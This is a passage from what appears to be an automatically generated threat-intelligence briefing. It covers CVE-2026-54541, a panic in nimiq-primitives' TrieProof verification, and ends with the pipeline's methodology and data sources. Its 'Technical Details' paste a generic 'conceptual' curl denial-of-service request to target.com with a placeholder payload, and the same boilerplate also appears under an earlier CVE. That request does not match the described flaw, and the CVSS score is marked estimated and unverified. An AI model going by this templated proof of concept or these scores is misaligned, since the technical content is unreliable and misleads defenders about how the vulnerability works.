An attacker sends a specially crafted input that triggers resource exhaustion.
For example, a deeply nested structure or a massive list can consume CPU or memory.

curl command (conceptual):
```bash
curl "https://target.com/vulnerable-endpoint?payload=<malicious_input>"
...

```

The server becomes unresponsive or crashes, confirming the denial of service.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-54542>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-54542>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-54542>

CVE-2026-54541

Finding: TrieProof Verification Panic in Nimiq-Primitives

CVSS v3.1 Score: 3.7 | Severity: Low | Urgency Score: 28/100 | CWE: CWE-248

Score Provenance: Estimated (Unverified) - Vector Recalculated
MITRE ATT&CK: T1498

CVSS v3.1 Scoring Criteria:

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack Vector	Network
Privileges Required	None
Scope	Unchanged
Integrity Impact	None

Attack Complexity	High
User Interaction	None
Confidentiality Impact	None
Availability Impact	Low

Description:

The TrieProof::verify function within nimiq-primitives incorrectly uses the unwrap method on the child_index during validation of keys with identical lengths. This implementation error results in an unhandled panic whenever a specific edge-case input is provided. An attacker could exploit this to trigger a denial-of-service against nodes validating such proofs.

Proof of Concept (PoC):

An attacker creates a malformed TrieProof where two keys of equal length are present, designed to trigger the failed assertion in child_index. This proof is sent to the target node's network interface. Upon processing the proof, the TrieProof::verify method invokes unwrap on a null or missing child index. The resulting panic causes the thread or process to exit, successfully disrupting availability.

Technical Details:
...

An attacker sends a specially crafted input that triggers resource exhaustion.
For example, a deeply nested structure or a massive list can consume CPU or memory.

curl command (conceptual):
```bash  
curl "https://target.com/vulnerable-endpoint?payload=<malicious\_input>"  
```

The server becomes unresponsive or crashes, confirming the denial of service.

Ref (Official): <https://nvd.nist.gov/vuln/detail/CVE-2026-54541>
Ref (Official): <https://www.cve.org/CVERecord?id=CVE-2026-54541>
Ref (Third-Party Verified (Tenable)): <https://www.tenable.com/cve/CVE-2026-54541>

6. Methodology & Data Sources

This report was generated by the Auto-CTI Autonomous Cyber Threat Intelligence Pipeline, an automated multi-agent system designed to simulate a real-world Security Operations Center (SOC) workflow. The pipeline operates in three sequential stages: (1) the Scout Agent collects the latest CVE disclosures from NVD, the GitHub Advisory Database,

and OSV.dev, cross-referencing active threat pulses via AlienVault OTX; (2) the Triage Agent performs structured analysis using the CVSS v3.1 scoring standard, assigns CWE root-cause classifications, maps each vulnerability to relevant MITRE ATT&CK techniques, and computes a composite Urgency Score; (3) the Publisher Agent synthesizes the triaged data into this executive briefing. Every CVSS score is tagged with a Score Provenance label indicating whether it was confirmed against an official database (NVD or CNA record) or estimated by the analysis model when no official score existed. All CVE identifiers, CVSS scores, and CWE mappings are independently verifiable via the references provided in Section 5. References marked 'Fallback Search' indicate the specific CVE record was not found live at NVD or CVE.org at generation time; a source-database search link is provided instead. Severity classification follows the CVSS v3.1 standard: Critical (9.0-10.0), High (7.0-8.9), Medium (4.0-6.9), Low (0.1-3.9).

Primary Data Sources:

- NIST National Vulnerability Database (NVD) -- <https://nvd.nist.gov/>
- GitHub Advisory Database -- <https://github.com/advisories>
- OSV.dev Open Source Vulnerabilities -- <https://osv.dev/>
- CVE Services API (MITRE CNA Records) -- <https://cveawg.mitre.org/>
- OpenCVE -- <https://www.opencve.io/>
- AlienVault Open Threat Exchange (OTX) -- <https://otx.alienvault.com/>
- MITRE ATT&CK Framework -- <https://attack.mitre.org/>
- CVSS v3.1 Specification -- <https://www.first.org/cvss/v3.1/specification-document>
- Common Weakness Enumeration (CWE) -- <https://cwe.mitre.org/>
- CVE Program -- <https://www.cve.org/>